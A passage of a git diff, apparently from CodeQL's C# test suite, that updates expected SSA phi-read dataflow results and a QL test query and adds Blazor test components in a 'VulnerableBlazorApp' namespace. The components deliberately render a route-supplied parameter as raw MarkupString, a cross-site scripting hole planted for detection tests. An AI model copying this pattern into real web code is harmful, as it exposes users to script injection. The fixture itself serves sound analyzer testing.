 | UseUseExplosion.cs:24:2863:24:2868 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2863:24:2868 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2867:24:2867 | access to local variable x | UseUseExplosion.cs:24:2863:24:2868 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2878:24:2883 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2878:24:2883 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2867:24:2867 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2878:24:2883 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2878:24:2883 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2878:24:2883 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2882:24:2882 | access to local variable x | UseUseExplosion.cs:24:2878:24:2883 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2893:24:2898 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2893:24:2898 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2882:24:2882 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2893:24:2898 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2893:24:2898 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2893:24:2898 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2897:24:2897 | access to local variable x | UseUseExplosion.cs:24:2893:24:2898 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2908:24:2913 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2908:24:2913 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2897:24:2897 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2908:24:2913 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2908:24:2913 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2908:24:2913 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2912:24:2912 | access to local variable x | UseUseExplosion.cs:24:2908:24:2913 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2923:24:2928 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2923:24:2928 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2912:24:2912 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2923:24:2928 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2923:24:2928 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2923:24:2928 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2927:24:2927 | access to local variable x | UseUseExplosion.cs:24:2923:24:2928 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2938:24:2943 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2938:24:2943 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2927:24:2927 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2938:24:2943 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2938:24:2943 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2938:24:2943 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2942:24:2942 | access to local variable x | UseUseExplosion.cs:24:2938:24:2943 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2953:24:2958 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2953:24:2958 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2942:24:2942 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2953:24:2958 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2953:24:2958 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2953:24:2958 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2957:24:2957 | access to local variable x | UseUseExplosion.cs:24:2953:24:2958 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2968:24:2973 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2968:24:2973 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2957:24:2957 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2968:24:2973 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2968:24:2973 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2968:24:2973 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2972:24:2972 | access to local variable x | UseUseExplosion.cs:24:2968:24:2973 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2983:24:2988 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2983:24:2988 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2972:24:2972 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2983:24:2988 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2983:24:2988 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2983:24:2988 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2987:24:2987 | access to local variable x | UseUseExplosion.cs:24:2983:24:2988 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2998:24:3003 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2998:24:3003 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2987:24:2987 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2998:24:3003 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2998:24:3003 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2998:24:3003 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:3002:24:3002 | access to local variable x | UseUseExplosion.cs:24:2998:24:3003 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:3013:24:3018 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:3013:24:3018 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3002:24:3002 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3013:24:3018 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:3013:24:3018 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:3013:24:3018 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:3017:24:3017 | access to local variable x | UseUseExplosion.cs:24:3013:24:3018 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:3028:24:3033 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:3028:24:3033 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3017:24:3017 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3028:24:3033 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:3028:24:3033 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:3028:24:3033 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:3032:24:3032 | access to local variable x | UseUseExplosion.cs:24:3028:24:3033 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:3043:24:3048 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:3043:24:3048 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3032:24:3032 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3043:24:3048 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:3043:24:3048 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:3043:24:3048 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:3047:24:3047 | access to local variable x | UseUseExplosion.cs:24:3043:24:3048 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:3058:24:3063 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:3058:24:3063 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3047:24:3047 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3058:24:3063 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:3058:24:3063 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:3058:24:3063 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:3062:24:3062 | access to local variable x | UseUseExplosion.cs:24:3058:24:3063 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:3073:24:3078 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:3073:24:3078 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3062:24:3062 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3073:24:3078 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:3073:24:3078 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:3073:24:3078 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:3077:24:3077 | access to local variable x | UseUseExplosion.cs:24:3073:24:3078 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:3088:24:3093 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:3088:24:3093 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3077:24:3077 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3088:24:3093 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:3088:24:3093 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:3088:24:3093 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:3092:24:3092 | access to local variable x | UseUseExplosion.cs:24:3088:24:3093 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:3103:24:3108 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:3103:24:3108 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3092:24:3092 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3103:24:3108 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:3103:24:3108 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:3103:24:3108 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:3107:24:3107 | access to local variable x | UseUseExplosion.cs:24:3103:24:3108 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:3118:24:3123 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:3118:24:3123 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3107:24:3107 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3118:24:3123 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:3118:24:3123 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:3118:24:3123 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:3122:24:3122 | access to local variable x | UseUseExplosion.cs:24:3118:24:3123 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:3133:24:3138 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:3133:24:3138 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3122:24:3122 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3133:24:3138 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:3133:24:3138 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:3133:24:3138 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:3137:24:3137 | access to local variable x | UseUseExplosion.cs:24:3133:24:3138 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:3148:24:3153 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:3148:24:3153 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3137:24:3137 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3148:24:3153 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:3148:24:3153 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:3148:24:3153 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:3152:24:3152 | access to local variable x | UseUseExplosion.cs:24:3148:24:3153 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:3163:24:3168 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:3163:24:3168 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3152:24:3152 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3163:24:3168 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:3163:24:3168 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:3163:24:3168 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:3167:24:3167 | access to local variable x | UseUseExplosion.cs:24:3163:24:3168 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:3178:24:3183 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:3178:24:3183 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3167:24:3167 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3178:24:3183 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:3178:24:3183 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:3178:24:3183 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:3182:24:3182 | access to local variable x | UseUseExplosion.cs:24:3178:24:3183 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:3193:24:3198 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:3193:24:3198 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3182:24:3182 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3193:24:3198 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:3193:24:3198 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:3193:24:3198 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:3197:24:3197 | access to local variable x | UseUseExplosion.cs:24:3193:24:3198 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
+| UseUseExplosion.cs:24:3197:24:3197 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
 | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | UseUseExplosion.cs:25:1712:25:1712 | access to local variable x |
 | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | UseUseExplosion.cs:25:1727:25:1727 | access to local variable x |
 | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | UseUseExplosion.cs:25:1742:25:1742 | access to local variable x |
diff --git a/csharp/ql/test/library-tests/dataflow/ssa/SSAPhiRead.expected b/csharp/ql/test/library-tests/dataflow/ssa/SSAPhiRead.expected
index 970e6fce5244..6fdda8812ab2 100644
--- a/csharp/ql/test/library-tests/dataflow/ssa/SSAPhiRead.expected
+++ b/csharp/ql/test/library-tests/dataflow/ssa/SSAPhiRead.expected
@@ -6,7 +6,7 @@ phiReadNode
 | Test.cs:25:16:25:16 | SSA phi read(x) | Test.cs:8:13:8:13 | x |
 | Test.cs:90:9:97:9 | SSA phi read(x) | Test.cs:78:13:78:13 | x |
 | Test.cs:99:9:99:15 | SSA phi read(x) | Test.cs:78:13:78:13 | x |
-phiReadNodeRead
+phiReadNodeFirstRead
 | DefUse.cs:80:30:80:31 | SSA phi read(this.Field2) | DefUse.cs:63:9:63:14 | this.Field2 | DefUse.cs:80:37:80:42 | access to field Field2 |
 | Fields.cs:63:16:63:28 | SSA phi read(this.LoopField) | Fields.cs:65:24:65:32 | this.LoopField | Fields.cs:65:24:65:32 | access to field LoopField |
 | Patterns.cs:20:9:38:9 | SSA phi read(o) | Patterns.cs:7:16:7:16 | o | Patterns.cs:20:17:20:17 | access to local variable o |
@@ -15,16 +15,21 @@ phiReadNodeRead
 | Test.cs:90:9:97:9 | SSA phi read(x) | Test.cs:78:13:78:13 | x | Test.cs:92:17:92:17 | access to local variable x |
 | Test.cs:90:9:97:9 | SSA phi read(x) | Test.cs:78:13:78:13 | x | Test.cs:96:17:96:17 | access to local variable x |
 | Test.cs:99:9:99:15 | SSA phi read(x) | Test.cs:78:13:78:13 | x | Test.cs:99:13:99:13 | access to local variable x |
-| Test.cs:99:9:99:15 | SSA phi read(x) | Test.cs:78:13:78:13 | x | Test.cs:104:17:104:17 | access to local variable x |
 phiReadInput
-| DefUse.cs:80:30:80:31 | SSA phi read(this.Field2) | DefUse.cs:63:9:63:18 | SSA def(this.Field2) |
-| DefUse.cs:80:30:80:31 | SSA phi read(this.Field2) | DefUse.cs:80:30:80:31 | SSA phi read(this.Field2) |
+| DefUse.cs:80:30:80:31 | SSA phi read(this.Field2) | DefUse.cs:64:13:64:18 | SSA read(this.Field2) |
+| DefUse.cs:80:30:80:31 | SSA phi read(this.Field2) | DefUse.cs:80:37:80:42 | SSA read(this.Field2) |
 | Fields.cs:63:16:63:28 | SSA phi read(this.LoopField) | Fields.cs:61:17:61:17 | SSA entry def(this.LoopField) |
-| Fields.cs:63:16:63:28 | SSA phi read(this.LoopField) | Fields.cs:63:16:63:28 | SSA phi read(this.LoopField) |
-| Patterns.cs:20:9:38:9 | SSA phi read(o) | Patterns.cs:7:16:7:23 | SSA def(o) |
+| Fields.cs:63:16:63:28 | SSA phi read(this.LoopField) | Fields.cs:65:24:65:32 | SSA read(this.LoopField) |
+| Patterns.cs:20:9:38:9 | SSA phi read(o) | Patterns.cs:8:13:8:13 | SSA read(o) |
+| Patterns.cs:20:9:38:9 | SSA phi read(o) | Patterns.cs:12:18:12:18 | SSA read(o) |
+| Patterns.cs:20:9:38:9 | SSA phi read(o) | Patterns.cs:16:18:16:18 | SSA read(o) |
 | Properties.cs:63:16:63:16 | SSA phi read(this.LoopProp) | Properties.cs:61:17:61:17 | SSA entry def(this.LoopProp) |
-| Properties.cs:63:16:63:16 | SSA phi read(this.LoopProp) | Properties.cs:63:16:63:16 | SSA phi read(this.LoopProp) |
+| Properties.cs:63:16:63:16 | SSA phi read(this.LoopProp) | Properties.cs:65:24:65:31 | SSA read(this.LoopProp) |
 | Test.cs:25:16:25:16 | SSA phi read(x) | Test.cs:24:9:24:15 | SSA phi(x) |
-| Test.cs:25:16:25:16 | SSA phi read(x) | Test.cs:25:16:25:16 | SSA phi read(x) |
+| Test.cs:25:16:25:16 | SSA phi read(x) | Test.cs:25:16:25:16 | SSA read(x) |
 | Test.cs:90:9:97:9 | SSA phi read(x) | Test.cs:78:13:78:17 | SSA def(x) |
+| Test.cs:90:9:97:9 | SSA phi read(x) | Test.cs:82:17:82:17 | SSA read(x) |
+| Test.cs:90:9:97:9 | SSA phi read(x) | Test.cs:86:17:86:17 | SSA read(x) |
 | Test.cs:99:9:99:15 | SSA phi read(x) | Test.cs:90:9:97:9 | SSA phi read(x) |
+| Test.cs:99:9:99:15 | SSA phi read(x) | Test.cs:92:17:92:17 | SSA read(x) |
+| Test.cs:99:9:99:15 | SSA phi read(x) | Test.cs:96:17:96:17 | SSA read(x) |
diff --git a/csharp/ql/test/library-tests/dataflow/ssa/SSAPhiRead.ql b/csharp/ql/test/library-tests/dataflow/ssa/SSAPhiRead.ql
index 8fee62217bf4..baa59bc5b677 100644
--- a/csharp/ql/test/library-tests/dataflow/ssa/SSAPhiRead.ql
+++ b/csharp/ql/test/library-tests/dataflow/ssa/SSAPhiRead.ql
@@ -1,17 +1,21 @@
 import csharp
 import semmle.code.csharp.dataflow.internal.SsaImpl
-import ExposedForTestingOnly
+import Impl::TestAdjacentRefs as RefTest
 
-query predicate phiReadNode(PhiReadNode phi, Ssa::SourceVariable v) { phi.getSourceVariable() = v }
+query predicate phiReadNode(RefTest::Ref phi, Ssa::SourceVariable v) {
+  phi.isPhiRead() and phi.getSourceVariable() = v
+}
 
-query predicate phiReadNodeRead(PhiReadNode phi, Ssa::SourceVariable v, ControlFlow::Node read) {
-  phi.getSourceVariable() = v and
-  exists(ControlFlow::BasicBlock bb, int i |
-    ssaDefReachesReadExt(v, phi, bb, i) and
+query predicate phiReadNodeFirstRead(RefTest::Ref phi, Ssa::SourceVariable v, ControlFlow::Node read) {
+  exists(RefTest::Ref r, ControlFlow::BasicBlock bb, int i |
+    phi.isPhiRead() and
+    RefTest::adjacentRefRead(phi, r) and
+    r.accessAt(bb, i, v) and
     read = bb.getNode(i)
   )
 }
 
-query predicate phiReadInput(PhiReadNode phi, DefinitionExt inp) {
-  phiHasInputFromBlockExt(phi, inp, _)
+query predicate phiReadInput(RefTest::Ref phi, RefTest::Ref inp) {
+  phi.isPhiRead() and
+  RefTest::adjacentRefPhi(inp, phi)
 }
diff --git a/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/Name.cs b/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/Name.cs
new file mode 100644
index 000000000000..a9d098470e44
--- /dev/null
+++ b/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/Name.cs
@@ -0,0 +1,22 @@
+namespace VulnerableBlazorApp.Components
+{
+    using Microsoft.AspNetCore.Components;
+
+    public partial class Name : Microsoft.AspNetCore.Components.ComponentBase
+    {
+        protected override void BuildRenderTree(Microsoft.AspNetCore.Components.Rendering.RenderTreeBuilder builder)
+        {
+            if (TheName is not null)
+            {
+                builder.OpenElement(0, "div");
+                builder.OpenElement(1, "p");
+                builder.AddContent(2, (MarkupString)TheName);
+                builder.CloseElement();
+                builder.CloseElement();
+            }
+        }
+
+        [Parameter]
+        public string TheName { get; set; }
+    }
+}
\ No newline at end of file
diff --git a/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/NameList.cs b/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/NameList.cs
new file mode 100644
index 000000000000..ceffb35303e5
--- /dev/null
+++ b/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/NameList.cs
@@ -0,0 +1,50 @@
+namespace VulnerableBlazorApp.Components
+{
+    using System.Collections.Generic;
+    using Microsoft.AspNetCore.Components;
+
+    [RouteAttribute("/names/{name?}")]
+    public partial class NameList : Microsoft.AspNetCore.Components.ComponentBase
+    {
+        protected override void BuildRenderTree(Microsoft.AspNetCore.Components.Rendering.RenderTreeBuilder builder)
+        {
+            if (Names is not null)
+            {
+                builder.OpenElement(0, "div");
+                builder.OpenElement(1, "ul");
+                foreach (var name in Names)
+                {
+                    builder.OpenElement(2, "li");
+                    builder.OpenComponent<VulnerableBlazorApp.Components.Name>(3);
+                    builder.AddComponentParameter(4, nameof(VulnerableBlazorApp.Components.Name.TheName), name);
+                    builder.CloseComponent();
+                    builder.CloseElement();
+                }
+                builder.CloseElement();
+                builder.CloseElement();
+            }
+
+            builder.OpenElement(5, "div");
+            builder.OpenElement(6, "p");
+            builder.AddContent(7, "Name: ");
+            builder.OpenComponent<VulnerableBlazorApp.Components.Name>(8);
+            builder.AddComponentParameter(9, nameof(VulnerableBlazorApp.Components.Name.TheName), Name);
+            builder.CloseComponent();
+            builder.CloseElement();
+        }
+
+        [Parameter]
+        public string Name { get; set; }
+
